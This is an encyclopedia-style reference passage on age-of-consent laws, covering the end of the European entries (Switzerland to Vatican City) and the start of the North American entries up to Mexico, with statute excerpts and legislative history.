The age of consent in Switzerland is 16, as specified by the Swiss Federal Criminal Code, Article 187(1). However, there exists a close-in-age exception if the difference between the ages of the participants is three years or less (Article 187(2)).
Swiss Federal Criminal Code
Turkey
The age of consent in Turkey is the age of majority (set at 18 as per Article 11 of the Turkish Civil Code).
According to Article 104 of the Turkish Penal Code (Türk Ceza Kanunu), sexual intercourse with minors aged 15, 16 and 17 can only be prosecuted upon a complaint. However, if the offender is a person who is forbidden to marry the child by law or is a person who is obliged to take care of the child due to adoption or foster care, then the prosecution doesn't require a complaint and the punishment is aggravated.
Article 103 regulates any kind of sexual activity with minors under 15 (or minors under 18 who lack the ability to understand the legal meanings and consequences of such actions) as child sexual abuse.
History
The age of consent in Turkey was set at 15 for both heterosexual and homosexual sex in the 1926 penal code, but this was modified in 1953. The age of consent was still 15, only for some instances, it was 18. The new penal code of 2004 sets the age of consent for both heterosexual and homosexual sex at 18, and non-penetrative sexual contact at 15, with some differences, such as the act of having sexual intercourse with a minor over 15 being punishable upon a complaint.
Ukraine
The age of consent in Ukraine is set at 16 since 2018, regardless of gender and/or sexual orientation.
Article 155 states that sexual intercourse with a person under the age of 16 committed by a person over the age of 18 shall be punishable. Additionally, according to Article 152 (since January 2019) sexual intercourse with a person under the age of 14 (regardless of his/her voluntary consent) is a rape. The law no longer makes reference to the concept of "sexual maturity", which existed in the former legislative framework.
United Kingdom and Crown dependencies
The United Kingdom is a union of four different countries, and three distinct legal jurisdictions (England and Wales, Scotland, and Northern Ireland).
Therefore age of consent is a matter devolved down to each legal jurisdiction within the United Kingdom to decide upon, however each country within the union has set the legal age at 16.
England and Wales
The age of consent in England and Wales is 16 regardless of sexual orientation or gender, as specified by the Sexual Offences Act 2003.
The vast majority of law relating to sexual offences in England and Wales is laid out in legislation under the Sexual Offences Act 2003, which contains upwards of 140 sections, of which around 70 relate directly to sexual offences. The main sections that relate to sexual offences regarding children are sections 5–15. Sections 5–8 largely reiterate the adult offences of sections 1–4 – rape, assault by penetration, sexual assault, and causing a person to engage in sexual activity without consent – replacing the element of non-consent with the victim being under 13 – with higher maximum sentences in the latter two cases. Sections 9–12 define offences against a child under 13, or a child under 16 whom the defendant does not reasonably believe is 16 or over. These offences are sexual activity with a child, meaning sexual touching (the same actus reus as sexual assault); causing or inciting a child to engage in sexual activity; engaging in sexual activity in the presence of a child for sexual gratification; and causing a child to watch a sexual act, meaning a third person or an image, for sexual gratification. Under section 13, these offences carry a lower penalty of 5 years' imprisonment when committed by a person under 18.
Any person who engages in sexual intercourse with a person under age 16 could be prosecuted (unless they are under 10, the age of criminal responsibility). This therefore means that even sexual intercourse between willing people of a similar age (e.g., a 16-year-old and a 15-year-old) could result in the older person being liable for prosecution for committing a sexual offence. Because of this, guidelines were put in place on how to appropriately prosecute a person who had sexual intercourse with a person under the age of 16, depending on exactly how young a person under the age of 16 was at time the sexual intercourse took place. The Crown Prosecution Service generally has discretion to decide not to prosecute if the facts of the individual case do not warrant it, and the judge (or magistrates, as the case may be) has discretion to impose more lenient or more severe sentences, up to the legal limits, as the facts warrant. It is rare that prosecution would be brought against persons aged 13 or over engaging in sexual intercourse/activity willingly, as long as all persons involved were of similar age, and it did not involve other matters such as violence, abuse or blackmail.
Because it can be difficult to tell whether a teenager is over 16 or not, for the child sex offences in sections 9–13, it is a defence to show that the defendant reasonably believed the other person was 16 or over (for example, they look mature enough that they could plausibly be 16 and tell the defendant that they are). This defence is not available if the child was, in fact, under 13. There is thus a two-tier system by age, where sex with a person between 13 and 16 may be legal, but sex with a person under 13 never is.
The age of consent is 18 for a few purposes. Section 16 prohibits sexual activity with a child under 18 by an adult in a position of trust (such as a carer or teacher), even if the child in question is 16 or 17. However, this contains an exception for relationships beginning before the position of trust arose. Under section 47 it is an offence to pay for or promise payment for sexual services of a person under 18 where the client does not reasonably believe that person is over 18, or in any event for a person under 13.
Further reading:
Criminal Law Amendment Act 1885
Sexual Offences (Amendment) Act 2000
History
The age of consent for heterosexual acts in England was set at 12 in 1275 during the reign of Edward I. The wording had the meaning – "It shall be deemed illegal to ravage a maiden who is not of age" – at the time "of age" being 12. Therefore, there was technically no age of consent for the male participant. The English law became applicable in Wales following the Laws in Wales Acts (1536 and 1543). In medieval Welsh law there was no actual equivalent of the concept of the age of consent as such, but a girl was marriageable at 12–14 (the onset of puberty) and a fine was payable for the taking of a girl's maidenhood by force; the rules varied according to status and may not have been applied rigidly to commoners.
A concern that young girls were being sold into brothels led Parliament to raise the age of consent to 13 in 1875 under the Offences against the Person Act 1875. After W. T. Stead's Maiden Tribute articles, the Criminal Law Amendment Act 1885 raised the age of consent to 16.
Anal intercourse, both male-male and male-female, had been illegal and punishable by death since the Buggery Act 1533. In 1861, parliament passed the Offences against the Person Act 1861, which abolished the death penalty for anal intercourse. The Criminal Law Amendment Act 1885 extended buggery laws to outlaw any kind of sexual activity between males. It is common folklore that an amendment that would have criminalised lesbian acts was rejected by Queen Victoria because she refused to believe that some women did such things; but it is likelier that those presenting the amendment excluded it (as did the House of Lords 40 years later) on the assumption that it would give women ideas.
Male homosexual acts were decriminalised under the Sexual Offences Act 1967, Section 1, although the age of consent for such acts was set at 21, whereas the age of consent for heterosexual acts was 16. However, this particular legislation applied only in England and Wales.
In 1994, on the second reading of the Criminal Justice and Public Order Act 1994, the Conservative Member of Parliament Edwina Currie introduced an amendment to lower the age of consent for homosexual acts to 16, in line with that for heterosexual acts; the amendment was defeated by 308 votes to 280. A compromise amendment that lowered the age of consent to 18 was accepted by 427 votes to 162. Also during the readings were motions to equalise the age of consent to 17 for all, to maintain the age of consent for homosexual acts to 21, and a further attempt to lower the age of consent to 16, all of which were rejected.
In 1997, the European Court of Human Rights case of Sutherland v United Kingdom held that a higher age of consent for homosexuals than for heterosexuals was a breach of Article 14 in conjunction with Article 8 of the convention. In response, the Government introduced the Crime and Disorder Bill that contained a provision lowering the age of consent for homosexual acts to 16. Though accepted by the House of Commons, the provision was rejected by the House of Lords. The Sexual Offences (Amendment) Bill, introduced in 1998, contained a similar provision, but once again it was rejected by the House of Lords. The Bill was reintroduced in 2000 and, despite opposition from the House of Lords, was passed under the Parliament Act 1911 (which allows the House of Commons to overrule the House of Lords under certain circumstances). As the Scottish Parliament had been established prior to the reintroduction of the Bill, and the relevant legislation was a devolved issue, the consent of that Parliament under the Sewel Convention was required – had that consent not been granted, the Scottish provisions would have had to be removed and it would not have been possible to use the Parliament Act.
The Sexual Offences (Amendment) Act 2000 became law in January 2001 throughout the UK, and thus equalized, regardless of gender, the age of consent at 16 for both heterosexual and homosexual acts (including, for the first time, lesbian acts), except those taking place between a 16–17-year-old and someone "in a position of trust" (e.g. a teacher), where the age of consent was raised to 18.
The Sexual Offences Act 2003 officially ended the concept of buggery in British law, as technically, heterosexual anal intercourse had still been illegal until the passing of this law. The passing of this law meant that there was no legal difference made between vaginal and anal intercourse, as well as sexual touching and newly added oral penetration and penetration by other body parts than the penis or anything else. The Act also raised the legal age for pornography and prostitution from 16 to 18.
There have been various suggestions to lower the age of consent to 14 – in 1998 the New Labour government proposed this, but despite some left-wing and youth support this had been dropped by early 2003 as lacking support, a decade later in early 2013 the suggestion by civil servants to lower the age of consent to 14 was rejected by the Conservative led coalition as 'offensive' (at least under some circumstances) and attention was drawn to the impact of recent scandals on the reception to any proposals.
Scotland
The age of consent in Scotland is 16, regardless of sexual orientation or gender.
However, consensual sex with a girl aged between 13 and 16 is not rape, but a lesser offence; on 1 December 2010 this was given the specific name of "having intercourse with an older child". Aged between 13 and 16 excludes 16. Recently, this has caused a debate with family advocates and the Scottish government.
History
Male homosexual acts were illegal in Scotland until 1980 when they were decriminalised by the Criminal Justice (Scotland) Act 1980, Section 80, which specified an age of consent of 21. The Criminal Law (Consolidation) (Scotland) Act 1995 lowered the age of consent to 18 and this was further lowered to 16 by the Sexual Offences (Amendment) Act 2000 described above. Male rape was recognised along with a complete overhaul of sexual offences legislation under the Sexual Offences (Scotland) Act 2009 (in force from 1 December 2010, except for sections 52 and 53).
Northern Ireland
The age of consent in Northern Ireland is 16, regardless of gender or sexual orientation, as specified by the Sexual Offences (Northern Ireland) Order 2008.
History
From 1950 to 2008, the age of consent in Northern Ireland was 17, in line with the Republic of Ireland.
In 2008, the Sexual Offences (Northern Ireland) Order 2008 lowered the age of consent in Northern Ireland from 17 to 16, bringing the age of consent in line with the rest of the UK.
Gay male sexual conduct was illegal in Northern Ireland until 1982, when they were decriminalised by the Homosexual Offences (Northern Ireland) Order 1982, which specified an age of consent of 21 – in line with the rest of the UK at the time. The change was a result of the judgement in the European Court of Human Rights case of Dudgeon v United Kingdom (1981) in which the ECHR held that a prohibition on homosexual acts was a breach of Article 8 of the convention. The age of consent for gay male sexual conduct was lowered to 18 in 1994 when the Criminal Justice and Public Order Act 1994 was implemented (as to be in line with England and Wales). The age of consent in 2001 was then lowered to 17 for gay male sexual conduct (in line with heterosexual and lesbian sexual conduct), by the Sexual Offences (Amendment) Act 2000, Section 1. Then, in 2008, the Order mentioned above lowered the age of consent for all individuals to 16, bringing it into line with the rest of the UK.
Akrotiri and Dhekelia
For both of these Sovereign Base Areas (British military enclaves) on the island of Cyprus, the age of consent is 16.
Gibraltar
Since 2011, the age of consent is equal and gender-neutral at 16 in Gibraltar (a British overseas territory). The gender-neutral Crimes Bill 2011 passed the Gibraltar Parliament and got assented - implementing the 2011 Supreme Court of Gibraltar decision and by repealing and updating 140-year-old criminal laws of Gibraltar.
History
Male homosexual acts have been decriminalised in Gibraltar since 1993, where the age of consent was higher at 18 for gay men, 16 for lesbians and heterosexuals. Anal sex was illegal for heterosexuals regardless. An equal age of consent set at 16 and legalising heterosexual anal sex happened because of a Supreme Court decision in 2011. Then in 2011, the gender-neutral Crimes Act 2011 implemented an equal and gender-neutral age of consent of 16 and legalised anal sex for heterosexuals - reflecting the Supreme Court of Gibraltar's decision and by repealing and updating 140-year-old criminal laws of Gibraltar.
Guernsey (including Alderney, Herm and Sark)
Since 2012, the age of consent in the Bailiwick of Guernsey (a Crown Dependency including Alderney, Herm and Sark) is 16, regardless of gender and/or sexual orientation.
History
In 1983, male homosexual acts were decriminalised with the age of consent set at 21 (in line with the UK at that time). In 1999, the age of consent for male homosexual acts was lowered to 18. Then in 2012, the age of consent for male homosexual acts was equalised at 16, regardless of gender and/or sexual orientation.
Isle of Man
The age of consent in the Isle of Man, a Crown Dependency, is 16, last amended in 2006.
History
Prior to 1992, sodomy was illegal, then under the Sexual Offences (Isle of Man) Act 1992 (after assent) the age of consent was set at 21 for sodomy (in line with the UK at that time). Then in 2001, the age of consent for male homosexual acts was lowered to 18 under the Criminal Justice Act 2001. In 2006, under the Sexual Offences (Amendment) Act 2006 the age of consent was lowered to 16, and became gender-neutral for all sexual conduct, regardless of sexual orientation or gender.
Jersey
The age of consent in the Bailiwick of Jersey, a Crown Dependency, is 16, last amended in 2007.
History
Prior to 1990, sodomy was illegal in Jersey for both men and women until 1990 although the age of consent for homosexual acts other than sodomy was the same as for heterosexual acts. In 1990, the age of consent for sodomy between consenting males was set at 21 (the UK at that time maintained the age of consent of 21 for all homosexual acts between males). In 1995, the sodomy age of consent became 18 (under the Sexual Offences (Jersey) Law 1995). In 2007, the age of consent was lowered to 16, became gender-neutral for all sexual conduct (including sodomy); regardless of sexual orientation or gender.
Vatican City
The age of consent in Vatican City is set at 18 years for all persons, regardless of gender.
The age of consent was raised from 12 to 18 by Law No. VIII of 11 July 2013 ("Supplementary Laws on Criminal Law Matters"), which is still in force. Article 4 of Law No. VIII defines "minor" for the purposes of that law to mean "every human being below the age of eighteen years". Article 8, paragraphs 1 through 4, establish criminal penalties for anyone who engages in sexual acts with a person below the age of 18. Paragraph 5 of Article 8 provides an exception to this by stating that "the offence does not exist if the sexual acts take place within a marriage".
Canon 1083 of the 1983 Code of Canon Law states that "A man before he has completed his sixteenth year of age and a woman before she has completed her fourteenth year of age cannot enter into a valid marriage. As such, the age of consent for married women is 14, while the age of consent for married men in 16."
See also
Age of consent
Age of consent reform
Ages of consent in Africa
Ages of consent in Asia
Ages of consent in North America
Ages of consent in Oceania
Ages of consent in South America
Sex education
Comprehensive sex education
References
Further reading
Ellen, Barbara. "Keep the age of consent at 16 – for children's sake". The Guardian. Sunday 13 January 2013.
Tatchell, Peter. "Don’t criminalise young sex". The Guardian. Thursday 24 September 2009.
Europe
Adolescent sexuality in Europe
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https://en.wikipedia.org/wiki/Ages%20of%20consent%20in%20North%20America
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Ages of consent in North America
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In North America, the legal age of consent relating to sexual activity varies by jurisdiction.
The age of consent in Canada is 16-years-old.
As of August 2018, each U.S. state has set its age of consent at age 16, age 17, or age 18, with some exceptions. Firstly, in the case of the state of Washington, the age of consent rises to 21 for the specific instance student-teacher sex (the age of consent in the state of Washington is otherwise 16). Secondly, in a number of U.S. states the age of consent can drop to as low as 13, although this has associted specifications, usually regarding the age of those enaging in sexual acts not supassing a specific age difference. As of April 2021, of the total fifty U.S. states, approximately thirty have an age of consent of 16 (with this being the most common age of consent in the country), a handful set the age of consent at 17, and about eleven states the age is 18. The federal age of consent in the United States is 16.
The age of consent in Mexico is complex. Typically, Mexican states have a "primary" age of consent (which may be as low as 12 or the onset of puberty), and sexual conduct with persons below that age is always illegal. Sexual relations which occur between adults and teenagers under 18 are legally ambiguous: laws against corruption of minors as well as estupro laws can be applied to such acts, at the discretion of the prosecution. These laws are situational and are subject to interpretation. The federal age of consent in Mexico is 15.
The ages of consent in the countries of Central America range from 14 to 18.
In four territories (Anguilla, the Cayman Islands, Montserrat and the Turks and Caicos Islands), as well as in the sovereign nation of the Bahamas, there is a higher age of consent for same-sex sexual relations than opposite-sex ones.
All jurisdictions in North America per List of sovereign states and dependent territories in North America:
Overview
The age of consent is the age at or above which a person is considered to have the legal capacity to consent to sexual activity. Both partners must be of legal age to give consent, although exceptions to the age of consent law exist in some jurisdictions when the minor and their partner are within a certain number of years in age or when a minor is married to his/her partner. Persons below the age of consent may not, by law, give consent, and sexual relations involving such persons may be punished by criminal sanctions similar to those for rape or sexual assault. Non-violent sexual contact with persons under the age of consent may be punished with varying degrees of severity, ranging from a misdemeanor with a simple fine, to a felony with a punishment equivalent to rape.
Different ages may apply if one partner is in a position of power or authority over the other, such as a teacher, manager, coach, parent or stepparent. For example, in Indiana the age of consent is 16 but it is illegal for a person over 18 to have sex with anyone under 18 if they work at their school, are their parent or a stepparent, or are a person recruiting them to join the military.
Historically, the age of consent applied to male-female relationships; same-sex relationships were often illegal regardless of the ages of participants. Modern laws vary, and there may be multiple ages that apply in any jurisdiction. For instance, different ages may apply if the relationship is between partners of the same sex, or if the sexual contact is not strictly vaginal intercourse.
Antigua and Barbuda
In Antigua and Barbuda, the age of consent is 16. The Sexual Offences Act of 1995 raised the age of consent from 14 to 16 years of age.
Sexual Intercourse with female between fourteen and sixteen
6. (1) Where a male person has sexual intercourse with a female person who is not his wife with her consent and who has attained the age of fourteen years but has not yet attained the age of sixteen years, he is guilty of an offence, and is liable on conviction to imprisonment for ten years.
(2) A male person is not guilty of an offence under subsection (1) –
(a) if he honestly believed that the female person was sixteen years of age or more; or
(b) if the male person is not more than three years older than the female person and the court is of the opinion that the evidence discloses that as between the male person and the female person, the male person is not wholly or substantially to blame.
Sexual intercourse with male under sixteen
7. (1) Where a female adult has sexual intercourse with a male person who is not her husband and who is under the age of sixteen years, she is guilty of an offence, whether or not the male person consented to the intercourse, and is liable on conviction to imprisonment for seven years.
A female adult is not guilty of an offence under subsection (1) –
(a) if she honestly believed that the male person was sixteen years of age or more; or
(b) if the female adult is not more than three years older than the male person and the court is of the opinion that evidence discloses that as between the female adult and the male person, the female adult is not wholly or substantially to blame.
Anguilla (United Kingdom)
The age of consent in Anguilla is 16. It is determined in Part 14 of the Criminal Code –
SEXUAL OFFENCES -Sexual Offences Against Minors – by Article 143. "Sexual intercourse with person between 14 and 16 years of age".
Aruba
The age of consent in Aruba is 15, as specified in Article 251 of the Criminal Code of Aruba (which Aruba adapted after its secession from the Netherlands Antilles) which reads:
Article 251: "A person who, out of wedlock, with a person , performs indecent acts comprising or including sexual penetration of the body is liable to a term of imprisonment of not more than eight years or a fine of at most 100 000 florin".
Bahamas
In the Bahamas, the age of consent for opposite-sex activity is 16 and the age of consent for same-sex activity is 18. Homosexuality was legalized in 1991, but "public homosexuality" is an offense that carries a 20-year jail term without parole.
11. (1) Any person who has unlawful sexual intercourse with any person being of or above fourteen years of age and under sixteen years of age, whether with or without the consent of the person with whom he had unlawful sexual intercourse, is guilty of an offence and liable to imprisonment for life subject to, on a first conviction for the offence, a term of imprisonment of seven years and, in the case of a second or subsequent conviction for the offence, a term of imprisonment of fourteen years.
Barbados
In Barbados the age of consent is 16.
Section 5, part I "Sexual intercourse with person between 14 and 16" of the Sexual Offences Act 1992
(1) Where a person has sexual intercourse with another with the other's consent and that other person has attained the age of 14 but has not yet attained the age of 16 that person is guilty of an offence and is liable on conviction on indictment to imprisonment for a term of 10 years.
Belize
In Belize, the age of consent is 16, regardless of sexual orientation or gender.
The legislation reads:
Criminal Code [CAP. 101]
Section 47.1
"Every person who, with or without consent, has sexual intercourse with a person who is under the age of fourteen years commits the offence of unlawful sexual intercourse and is liable on conviction on indictment to imprisonment for a term that is not less than twelve years but may extend to imprisonment for life."
Section 47.2
"Every person who has unlawful sexual intercourse with a person who is above the age of fourteen years but under the age of sixteen years, commits an offence and is liable on conviction on indictment to imprisonment for a term that is not less than five years but no more than ten years."
Bermuda and British Virgin Islands (United Kingdom)
Age of sexual consent is 16, regardless of sexual orientation and/or gender.
Canada
The Tackling Violent Crime Act took effect on 1 May 2008, raising the age of consent from 14 to 16.
There are two close-in-age exemptions, depending on the age of the younger partner. A youth of twelve or thirteen can consent to sexual activity with an individual less than two years older than them. A fourteen- or fifteen-year-old can consent to sexual activity with a partner who is less than five years older than them.
Criminal law (including the definition of the age of consent) is in the exclusive jurisdiction of the federal government, so the age of consent is uniform throughout Canada. Section 151 of the Criminal Code of Canada makes it a crime to touch, for a sexual purpose, any person under the age of 16 years. Section 153 then goes on to prohibit the sexual touching of a person under 18 by a person in three circumstances: if he or she is in a "position of trust or authority" towards the youth, if the youth is in a "relationship of dependency" with him or her, or if the relationship is "exploitative". The term "position of trust or authority" is not defined in the Code but the courts have ruled that parents, teachers, and medical professionals hold a position of trust or authority towards youth they care for or teach. Section 153 (1.2) of the Code provides that a judge can infer whether or not a relationship is "exploitative" by considering its nature and circumstances including how old the youth is, the difference in ages between the partners, how the relationship evolved, and the degree of control or influence that the older partner has over the youth.
The "position of trust under 18" anti-exploitation rules were expanded in 2005 by Bill C-2 where a judge may choose to term a situation to be sexual exploitation based on the nature and circumstances of the relationship including the age of the younger party, age difference, evolution of the relationship (how it developed, e.g. quickly and secretly over the Internet), the control or influence over the young person (degree of control or influence the other person had over the young person). This passed before the 2008 amendments, and they were not repealed so they are still in effect and can apply towards adults in these situations with young persons over the age of consent and under 18 (16–17).
Where an accused is charged with an offence under s. 151 (Sexual Interference), s. 152 (Invitation to sexual touching), s. 153(1) (Sexual exploitation), s. 160(3) (Bestiality in presence of or by child), or s. 173(2) (Indecent acts), or is charged with an offence under s. 271 (Sexual assault), s. 272 (Sexual assault with a weapon, threats to a third party, or causing bodily harm), or s. 273 (Aggravated sexual assault) in respect of a complainant under the age of sixteen years, it is not a defense that the complainant consented to the activity that forms the subject-matter of the charge.
History of the Canadian age of consent
During the 19th century, the age of consent for heterosexual vaginal sex was 12; in 1890, the Parliament raised the age of consent to 14. The punishment for anyone who had sexual intercourse with someone younger than 14 was life imprisonment and whipping, while the punishment for anyone who attempted to seduce an underage girl was two years' imprisonment and whipping. Canada had also laws against "seducing" minor girls who were over the age of consent. In 1886, a law was enacted that made the "seduction" of a girl over 12 and under 16 "of previously chaste character" a criminal offence; the "seduction" of a female under 18 "under promise of marriage" was also made illegal in 1886, and amended in 1887 to apply to females under 21. After the raising of the age of consent to 14, the laws against "seducing" minor girls were amended to apply to those older than 14, and various laws of this kind have remained in force through the 20th century. The age of consent was raised from 14 to 16 in the spring of 2008, when the Tackling Violent Crime Act became effective. The new measures still allow for close-in-age exceptions between 12 and 16: if there is no more than a two-year gap for those 12 and 13, or a five-year gap for those 14 and 15.
In 1969, the Criminal Code was amended to provide exemptions to the criminalization of consensual anal intercourse, including exemptions for husbands and wives and all persons over the age of 21. In 1988, Section 159 was enacted, reducing the applicable age from 21 to 18. In June 2019, Bill C-75 repealed Section 159, making anal intercourse subject to the same age of consent requirements as other sexual acts.
Female homosexuality was never illegal in the former British colonies; oral sex was legalized in 1969 with the same age of consent as vaginal sex.
Cayman Islands (United Kingdom)
The age of consent in Cayman Islands is 16.
Defilement of girls under sixteen years of age, etc.
134. (1) Whoever unlawfully and carnally –
(a) knows any girl under the age of twelve years is guilty of an offence and liable to imprisonment for twenty years; or
(b) knows any girl between the ages of twelve and sixteen years is guilty of an offence and liable to imprisonment for twelve years.
Indecent assaults on females
132. (1) It is an offence for a person to make an indecent assault on a woman.
(2) A girl under the age of sixteen cannot in law give any consent which would prevent an act being an assault for the purposes of this section.
Caribbean Netherlands
The age of consent in the Caribbean Netherlands (Bonaire, Saba and Sint Eustatius) is 16, as specified by the Criminal Code BES, Articles 251, which reads:
Art 251: "A person who, out of wedlock, with a person , performs indecent acts comprising or including sexual penetration of the body is liable to a term of imprisonment of not more than sixteen years". Before prosecution, the public attorney will, if possible, allow the minor to indicate if prosecution is deemed desirable.
Clipperton Island (France)
Clipperton Island is an uninhabited nine-square-kilometre (approx. 3.5-square-mile) coral atoll in the eastern Pacific Ocean, a state private property under the direct authority of the French government, administered by the Minister of Overseas France. The laws of France where applicable apply. See Ages of consent in Europe#France.
Costa Rica
Costa Rica does not have an exact age of consent but has age difference limits between sexual partners, independent of gender.
Costa Rican law 9406 makes it illegal for a person 18 years of age or older to have sexual relations with another person less than 15 years old if the older party is five or more years older than the minor. If the younger sexual partner is between 15 and 17 years old, the maximum age difference permitted is seven years.
Cuba
The age of consent in Cuba is 16.
Curaçao (Netherlands)
The age of consent in Curaçao is 15, as specified by the Criminal Code of the Netherlands Antilles (which Curaçao didn't change after the dissolution of the Netherlands Antilles), Articles 251, which reads:
Art 251: "A person who, out of wedlock, with a person , performs indecent acts comprising or including sexual penetration of the body is liable to a term of imprisonment of not more than sixteen years".
For children 12–14 prosecution only takes place upon a "complaint" by the minor, his parents, teacher, or the guardianship board.
Dominica
In Dominica the age of consent is 16.
"Defilement of girls between fourteen (14) and sixteen (16) years of age", Article 4 of the Sexual Offences Act
" (1) Subject to subsections (2) and (3), any person who –
a) unlawfully and carnally knows, or attempts to have unlawful carnal knowledge of any girl of or above the age of fourteen (14) years and under the age of sixteen (16) years (...) – is liable to imprisonment for seven years.
Dominican Republic
The age of consent in the Dominican Republic is 18.
El Salvador
In El Salvador, the age of consent appears to be 18 (although the laws are not clear cut in regard to sexual acts with persons aged between 15 and 18).
CHILDREN YOUNGER THAN 15:
VIOLACIÓN EN MENOR O INCAPAZ
Art. 159.- El que tuviere acceso carnal por vía vaginal o anal con menor de quince años de edad o con otra persona aprovechándose de su enajenación mental, de su estado de inconsciencia o de su incapacidad de resistir, será sancionado con prisión de catorce a veinte años.
Approximate translation: "Anyone who has vaginal or anal sexual intercourse with a minor younger than fifteen years of age or of another person by taking advantage of their insanity, their state of unconsciousness or inability to resist, shall be punished with imprisonment of fourteen to twenty years."
CHILDREN AGED BETWEEN 15 AND 18:
Several laws apply to sex with persons aged between 15 and 18.
Article 169 makes it illegal to "promote, facilitate, manage, finance, instigate or organize in any way the use of persons under eighteen years of age in sexual or erotic acts individually or organized, publicly or privately".
Art. 169.- El que promoviere, facilitare, administrare, financiare, instigare u organizare de cualquier forma la utilización de personas menores de dieciocho años en actos sexuales o eróticos, de manera individual u organizada, de forma pública o privada, será sancionado con pena de tres a ocho años de prisión.
En igual responsabilidad incurrirá quien con conocimiento de causa autorizare el uso o arrendare el inmueble para realizar cualquiera de las actividades descritas en el inciso anterior.
Approximate translation: Article 169 .- Any person who promotes, facilitates, manages, finances, instigates or organizes in any way the use of persons under eighteen years of age in sexual or erotic acts, individually or organized, publicly or privately, shall be punished with penalty of three to eight years in prison.
Similarly, anyone who knowingly authorizes the use or rents a property to perform any of the activities described in the preceding paragraph, incurs criminal liability.
Article 167 makes it illegal to "promote or facilitate the corruption of a person under eighteen (...) through various sexual acts of carnal knowledge, even if the victim consents to participate in them".
CORRUPCIÓN DE MENORES E INCAPACES
Art. 167.- El que promoviere o facilitare la corrupción de una persona menor de dieciocho años de edad o de un deficiente mental, mediante actos sexuales diversos del acceso carnal, aunque la víctima consintiere participar en ellos, será sancionado con prisión de seis a doce años.
Approximate translation: Article 167 .- Any person who promotes or facilitates the corruption of a person under eighteen years of age or a mentally handicapped through various sexual acts of carnal knowledge, even if the victim consents to participate in them, shall be punished with imprisonment of six to twelve years.
Article 171 deals with "obscene exhibition", and also appears to set the age of consent at 18.
EXHIBICIONES OBSCENAS
Art. 171.- El que ejecutare o hiciere ejecutar an otros actos lúbricos o de exhibición obscena, o indecorosa, en lugar público o expuesto al público o bien ante menores de dieciocho años de edad o deficientes mentales, será sancionado con prisión de dos a cuatro años.
Approximate translation: Art. 171. Anyone who performs or makes others perform acts of lewd or lascivious exhibition, or indecency in a public place or a place open to the public or to minors under eighteen years of age or mentally handicapped, shall be punished with imprisonment from two to four years.
Articles 163 and 154 of the Penal Code (Código Penal) deal with estupro and make it illegal to use deception (engaño) or to take advantage of one's superiority (superioridad) that arises from a relationship in order to gain sexual access to teenagers aged between 15 and 18.
ESTUPRO
Art. 163.- El que tuviere acceso carnal por vía vaginal o anal mediante engaño, con persona mayor de quince años y menor de dieciocho años de edad, será sancionado con prisión de cuatro a diez años.
Approximate translation: Art. 163. "Anyone who has vaginal or anal intercourse, by using deception, with a person over fifteen and under eighteen years of age, shall be punished with imprisonment of four to ten years".
ESTUPRO POR PREVALIMIENTO
Art. 164.- El que tuviere acceso carnal por vía vaginal o anal con persona mayor de quince y menor dieciocho años de edad, prevaliéndose de la superioridad originada por cualquier relación, será sancionado con prisión de seis a doce años.
Approximate translation: Art. 164. "Anyone who has vaginal or anal intercourse with a person over fifteen and under eighteen years of age, relying on the superiority arising from any relationship, shall be punished with imprisonment from six to twelve years."
Greenland (Denmark)
The laws of Denmark, where applicable, apply. See Ages of consent in Europe#Denmark.
Grenada
The age of consent in Grenada is 16. Penalties are 30 years' imprisonment if the victim is less than 14, and 15 years' imprisonment if the victim is 14 to 16 years of age.
Guadeloupe (France)
Guatemala
In Guatemala, the age of consent is 18, regardless of sexual orientation and/or gender. The Law against Sexual Violence, Exploitation, and Trafficking in Persons was passed in February 2009, and provides sentences ranging from 13 to 24 years in prison, depending on the young persons age, for sex with a minor.
Haiti
The age of consent in Haiti is 18.
Honduras
Honduras, the age of consent is considered to be 14.
Article 142. The stupor of a person older than fourteen (14) and under eighteen (18) years taking advantage of trust, hierarchy or authority, is punishable by six (6) to eight (8) years of imprisonment.
When rape is committed by deception is punishable by five (5) to seven (7) years of imprisonment.
Article 143. The sexual intercourse with parents or children, brothers, or relationship between adopter and adopted, with stepparent, when the victim is over eighteen (18) years constitutes the crime of incest, will be punished with four (4) to six (6) years of imprisonment and shall proceed under complaint by the injured party or his legal representative.
When the victim is older than fourteen (14) and under eighteen (18) years, the penalty shall be increased in a medium (1/2).
Article 144. Whoever for sexual character and by force, intimidation or deceit abducts or retains a person shall be punished by imprisonment of four (4) to six (6) years.
When the victim of this crime is a person under eighteen (18) years of age, it is punishable with the penalty prescribed in the preceding paragraph increased by half (1/2).
Jamaica
In Jamaica the age of consent is 16.
"Above twelve (12) and under sixteen (16)", Article 50, Offences Against the Person
" Whosoever shall unlawfully and carnally know and abuse any girl being above the age of twelve (12) years and under the age of sixteen (16) years shall be guilty of a misdemeanour, and
being convicted thereof, shall be liable to imprisonment for a term not exceeding seven years;
Martinique (France)
Mexico
Legislative framework
In Mexico, criminal legislation is shared between the federal and state governments. The federal law establishes the age of 15 as the minimum age of consent, while the age at which there are no restrictions for consensual sexual activities is 18 (sex with someone 15–18 is not illegal per se, but can still be open to prosecution under certain circumstances). Local state laws may override the federal law. In practice, the decision as to whether or not to prosecute is left to state authorities regardless of the younger person's age.
At state level, the minimum ages of consent vary between 12 (and puberty in a few states) and 15, while the age at which there are no restrictions for consensual sexual activities vary from 16 to 18 (most common 18).
"Estupro"
is a crime existing across Mexico, as well as in other Latin American jurisdictions. Although the definitions vary by state, it is usually defined as sexual conduct with a child who has reached the minimum age of consent but is under 18 (16 or 17 in some states) when the consent of the child is obtained by seduction and/or deceit. For instance the law of Aguascalientes reads: "El estupro consiste en realizar cópula con persona mayor de doce y menor de dieciséis años de edad, obteniendo su consentimiento por medio de seducción o engaño." (translation: Estupro consists in copulating with a person over twelve and under sixteen years old, obtaining his/her consent through seduction or deceit). Traditionally, estupro applied only to acts committed with a girl, and required "chastity" or "honesty" of the girl. The vast majority of Mexican states have modernized their laws by removing the requirement of "chastity" or "honesty" and by making the laws gender neutral. However, traditional laws still exist in some states: for instance, the law of Baja California reads: Al que realice cópula con mujer de catorce años de edad y menor de dieciocho, casta y honesta, obteniendo su consentimiento por medio de la seducción o el engaño (translation: "Whoever copulates with a chaste and honest female over fourteen and under eighteen years old, obtaining her consent through seduction or deceit"). All states but Baja California have removed the requirement of "chastity" or "honesty" and the definition of estupro as applicable only to girls. The exact type of coercion that must be used varies by state, for example the Federal Law only makes reference to "deceit", omitting "seduction" (it reads: Al que tenga cópula con persona mayor de quince años y menor de dieciocho, obteniendo su consentimiento por medio de engaño, translation: "Whoever copulates with a person over fifteen and under eighteen years old, obtaining his/her consent through deceit").
Federal Law
